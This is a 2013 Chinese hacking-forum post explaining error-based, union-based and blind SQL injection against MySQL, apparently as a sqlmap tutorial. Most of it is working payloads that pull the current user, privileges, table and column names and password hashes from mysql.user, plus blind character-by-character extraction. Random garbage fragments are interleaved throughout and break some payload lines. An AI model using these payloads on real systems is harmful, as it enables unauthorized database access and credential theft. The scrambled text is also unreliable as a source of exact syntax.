找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。% L0 |" ?% Q# d7 P

# S" ~! y9 p. c$ |" s这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
4 n% l$ B4 P" g6 a) Y9 r4 G' V! T
& l& Y0 N+ O% Y4 ~  x9 z分类标准        分类        备注
- C- v0 N4 D' \4 n! S# D! I4 F按字段类型        整型注入,字符型注入        9 Z" g0 }. j5 }+ `; O; c" v; n
按出现的位置        get注入,post注入,cookie注入,http header注入       
4 D2 k+ {9 N% n5 i7 W然而高级注入是这样的7 o7 p/ {2 Q& z% |
/ i( u6 g3 C8 Y# I) B7 e
高级注入分类        条件# [! E/ g2 X1 ~$ w' _
error-based sql        数据库的错误回显可以返回,存在数据库,表结构
0 B7 x$ \6 L. W% o& Qunion-based sql        能够使用union,存在数据库,表结构
& j) y+ l3 W7 R+ p4 x0 [0 ~blind sql        存在注入
& M7 u/ e5 z5 T& j5 S" V我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
$ c+ w- |: S+ C- y/ R, [- Z8 k9 [
5 E8 x# {: j; c$ v3 \好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
* o9 t9 F) W% O* `; l % v5 i: A" j, z) w
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
; @6 y1 l9 \& s4 |# Y4 s! Q8 n
8 {! z) }- Y8 _# V9 e这里用mysql说明, }  j# y( r1 I6 H, G& \$ t
/ X' }; C' j8 B+ _  {4 i
e注入坛子里很多了,请看戳我或者再戳我, s2 w% k; e- Y; `1 @
/ T0 L7 `+ P! n% n" O
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
; u) P& k" n" y* M3 b2 t: p " F1 d0 j! A6 u+ K
获取当前数据库用户名) t3 ]2 w4 I1 e

- K5 @9 A1 O: H, GUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
5 i5 x% k& V+ `, @4 _: v5 iAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
/ V/ ~9 g4 E: R( r' b% h# [L, NULL#! n: \4 \5 {6 F9 c; r, W8 |
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。2 b# F! M! j1 c# [/ D

% @: t4 j( V" H0 \获取数据库名  `5 F% n; `# ]* H3 S2 K
% H+ c1 `$ u  ^8 a' t* m
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#' N. U* ~! J! q5 H9 j
获取所有用户名
. I2 o5 ]! z+ V& L0 F0 V. G
( t+ X1 ~4 I% W& `& e3 E& ~UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#; `6 k) C0 a  y
查看当前用户权限- H4 Y' P* h2 h7 @. W# S

4 i  {5 i6 k5 V; N2 JUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
8 z" J) J1 x: I尝试获取密码,当然需要有能读mysql数据库的权限! {. \0 p$ a+ D- t9 F6 \
. x( K/ W- m% w' `
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#3 U' I1 v! [6 Q4 R6 j% }
获取表名,limit什么的自己搞啦
5 J9 u7 }7 h+ Q8 C* ^8 D# Q- c ; z3 X# M/ N0 W* _4 g# j
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
; M$ O4 s8 W* ^% j获取字段名及其类型: l  h& L8 g9 O$ L% Z+ D
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#0 [# k9 m! g  A! g6 L
" {4 L& q- t& h  X4 ^% b3 y5 G! Y+ q
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。' N! A+ p& W+ L. O  _3 W$ y
( M  L7 i, L1 D* }  L# `
如:- L7 K% ?* [& ?! c
获取当前用户名" n3 }, A/ ]+ r9 T& t1 U" ~. @

% H$ J- @- M& N/ A9 CAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116& }1 g5 N/ L- {' O: \
获取当前数据库' D% ~8 q5 G3 c; |' B2 z- D

9 f; ~3 s. Q& Q" dAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
* F' f1 F2 s0 p( v# f6 g3 L" o获取表名  j1 Z$ g! |4 y% L' V( G

( {! {7 w+ J9 S0 ~AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51: ]; |9 c" q: g% u
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。+ }; q% ?! T& Q- j0 e, A. ^1 A
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
& K# ?6 ?6 |) o* B0 o6 w. t9 s爆表
# B: a0 c6 W1 [9 Z( y9 [4 H   I; ^. u1 |5 Q
AND EXISTS(select * from table)
- R& N% g1 d& `6 a爆字段9 Z( }6 \$ L9 x8 E

: d" ?& {0 h) ~! m  [AND EXISTS(select pwd from table)
1 C; \0 H$ i, g6 }3 `- l  D盲注的变化就比较多了,由于篇幅,只是举个例子而已。& O# C; L/ K0 ~# u9 N

. ^1 r2 h: }8 Z# ?3 j. u: ]本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
: J2 Z# ?4 R* _# S* ^/ }; n1 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表